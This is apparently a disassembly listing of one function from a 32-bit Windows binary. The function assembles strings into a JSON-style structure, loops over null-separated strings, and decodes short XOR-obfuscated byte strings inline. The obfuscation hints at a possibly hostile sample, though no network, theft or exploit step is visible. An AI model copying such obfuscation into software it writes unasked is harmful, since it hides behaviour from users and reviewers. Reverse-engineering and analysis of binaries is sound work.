nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x441c50
sub ecx, edx
lea eax, [ebp - 0xc8]
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.00402b20
or dword [ebp - 0x14], 8
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0x10
mov al, byte [ebp - 0x148]
cmovae ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x3c], ecx
test al, al
jne 0x441cba
push 1
lea ecx, [ebp - 0x1b8]
mov byte [ebp - 0x148], 1
call fcn.00481590
mov esi, dword [ebp - 0x1b8]
mov eax, dword [ebp - 0x1b4]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x140], esi
mov dword [ebp - 0x13c], eax
jmp 0x441cc8
cmp al, 1
jne 0x4422dc
mov esi, dword [ebp - 0x140]
mov edx, ecx
mov dword [ebp - 0x48], 0
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x58], xmm0
lea eax, [edx + 1]
mov dword [ebp - 0x3c], eax
mov al, byte [edx]
inc edx
test al, al
jne 0x441ce5
sub edx, dword [ebp - 0x3c]
push edx
push ecx
lea ecx, [ebp - 0x58]
call fcn.00402b20
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 0x26
push eax
mov ecx, esi
call fcn.00486cf0
mov byte [ebp - 4], 0x25
mov esi, eax
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x441d42
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x441d38
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4422c8
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
mov al, byte [esi]
mov edi, dword [ebp - 0x30]
mov byte [esi], 3
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x168], al
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x160], ecx
lea ecx, [ebp - 0x168]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x15c], edx
call fcn.0047d5c0
mov byte [ebp - 4], 0x22
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x441dc3
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x441db9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4422c8
push ecx
push edx
call fcn.004f7c11
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0xae], 0x9b818d9d
push 0x18
mov byte [ebp - 0xaa], 0x8a
movq qword [ebp - 0xa9], xmm0
mov byte [ebp - 0xa1], 0
movq qword [ebp - 0x170], xmm0
mov byte [ebp - 0x178], 3
call fcn.004f7990
mov esi, eax
add esp, 4
lea eax, [ebp - 0x83]
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1ac], esi
mov ecx, dword [ebp - 0x38]
xorps xmm0, xmm0
mov byte [ebp - 4], 0x2a
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x441e34
sub ecx, edx
push ecx
push dword [ebp - 0x38]
mov ecx, esi
call fcn.00402b20
mov dword [ebp - 0x1ac], 0
mov dword [ebp - 0x170], esi
mov byte [ebp - 4], 0x2b
xor eax, eax
nop
lea ecx, [eax - 0x15]
xor byte [ebp + eax - 0xae], cl
inc eax
cmp eax, 5
jb 0x441e60
xorps xmm0, xmm0
mov dword [0x5584f4], eax
lea ecx, [ebp - 0xae]
mov byte [ebp - 0xa9], 0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x18], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x441ea0
sub ecx, edx
lea eax, [ebp - 0xae]
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.00402b20
or dword [ebp - 0x14], 4
mov byte [ebp - 4], 0x2c
lea eax, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0x10
lea ecx, [ebp - 0x148]
cmovae eax, dword [ebp - 0x2c]
push eax
call fcn.00483b70
mov esi, eax
mov cl, byte [esi]
mov eax, dword [ebp - 0x16c]
mov edi, dword [ebp - 0x30]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x178], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x170], ecx
lea ecx, [ebp - 0x178]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x16c], edx
call fcn.0047d5c0
mov byte [ebp - 4], 0x22
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x441f4f
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x441f45
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4422c8
push ecx
push edx
call fcn.004f7c11
add esp, 8
lea eax, [ebp - 0x80]
push eax
lea ecx, [ebp - 0x68]
call fcn.0047d240
lea ecx, [ebp - 0x148]
push ecx
mov ecx, eax
call fcn.0047cf60
lea ecx, [ebp - 0x148]
mov byte [ebp - 4], 0x1c
call fcn.0047d5c0
mov ecx, edi
call fcn.004b9b80
cmp eax, 0x64
je 0x4419f0
test edi, edi
je 0x442000
mov esi, dword [edi]
mov eax, dword [esi + 0x44]
mov dword [ebp - 0x30], eax
test eax, eax
je 0x441fa2
push eax
call dword [0x555d08]
add esp, 4
mov eax, dword [edi + 0x50]
mov dword [ebp - 0x38], 0
cmp eax, 0xbdf20da3
je 0x441fba
cmp eax, 0x519c2973
jne 0x441fc4
mov ecx, edi
call fcn.004b8950
mov dword [ebp - 0x38], eax
mov ecx, edi
call fcn.004b8b60
test esi, esi
je 0x441fef
cmp byte [esi + 0x1e], 0
jne 0x441fde
cmp dword [ebp - 0x38], 0xc0a
jne 0x441fef
push 0
push 7
push esi
call fcn.004a84e0
add esp, 0xc
mov byte [esi + 0x1e], 0
mov eax, dword [ebp - 0x30]
test eax, eax
je 0x442000
push eax
call dword [0x555d10]
add esp, 4
mov ecx, dword [ebp - 0x130]
call fcn.00418110
movaps xmm0, xmmword [0x543f50]
xor ecx, ecx
mov byte [ebp - 0x25], 0x8a
movups xmmword [ebp - 0x24], xmm0
nop dword [eax]
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x25], al
inc ecx
cmp ecx, 8
jb 0x442020
mov dword [0x5585d4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x25]
mov byte [ebp - 0x1d], 0
movups xmmword [ebp - 0x110], xmm0
mov dword [ebp - 0x100], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xfc], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x442060
sub ecx, edx
lea eax, [ebp - 0x25]
push ecx
push eax
lea ecx, [ebp - 0x110]
call fcn.00402b20
mov edi, dword [ebp - 0x14]
or edi, 0x4000
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0x2e
lea eax, [ebp - 0x110]
cmp dword [ebp - 0xfc], 0x10
mov ecx, dword [ebp - 0x134]
cmovae eax, dword [ebp - 0x110]
push eax
call fcn.00483b70
lea ecx, [ebp - 0x68]
push ecx
mov ecx, eax
call fcn.0047cf60
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0xfc]
cmp ecx, 0x10
jb 0x4420f2
mov edx, dword [ebp - 0x110]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4420e8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4422c8
push ecx
push edx
call fcn.004f7c11
add esp, 8
lea ecx, [ebp - 0x68]
call fcn.0047d5c0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x8c]
cmp ecx, 0x10
jb 0x442138
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44212e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4422c8
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x6c]
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 0xf
mov byte [ebp - 0xa0], 0
cmp ecx, 0x10
jb 0x44218b
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x442181
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4422c8
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x1e4]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
cmp ecx, 0x10
jb 0x4421db
mov edx, dword [ebp - 0x1f8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4421d1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4422c8
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov esi, dword [ebp - 0x40]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc esi
add esi, eax
mov dword [ebp - 0x40], esi
cmp byte [esi], 0
jne 0x440e40
mov ecx, dword [ebp - 0x17c]
cmp ecx, 0x10
jb 0x44222e
mov edx, dword [ebp - 0x190]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x442224
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4422d7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0x194]
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x17c], 0xf
mov byte [ebp - 0x190], 0
cmp ecx, 0x10
jb 0x44227f
mov edx, dword [ebp - 0x1a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x442275
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4422d7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebx + 0x1c]
cmp ecx, 0x10
jb 0x4422af
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4422a5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4422d7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004fceb0
call fcn.00402390
call fcn.00402390
call fcn.004fceb0
lea ecx, [ebp - 0x148]
call fcn.00481860
push eax
lea ecx, [ebp - 0x110]
call fcn.00402a50
push eax
mov edx, str.cannot_use_operator___with_a_string_argument_with
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x58]
call fcn.004839c0
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x214]
call fcn.00408c10
add esp, 4
lea eax, [ebp - 0x214]
push 0x553aa0
push eax
call fcn.004f95fb
lea ecx, [ebp - 0x68]
call fcn.00481860
push eax
lea ecx, [ebp - 0x248]
call fcn.00402a50
push eax
mov edx, str.cannot_use_operator___with_a_string_argument_with
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x210]
call fcn.004839c0
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x230]
call fcn.00408c10
add esp, 4
lea eax, [ebp - 0x230]
push 0x553aa0
push eax
call fcn.004f95fb
int3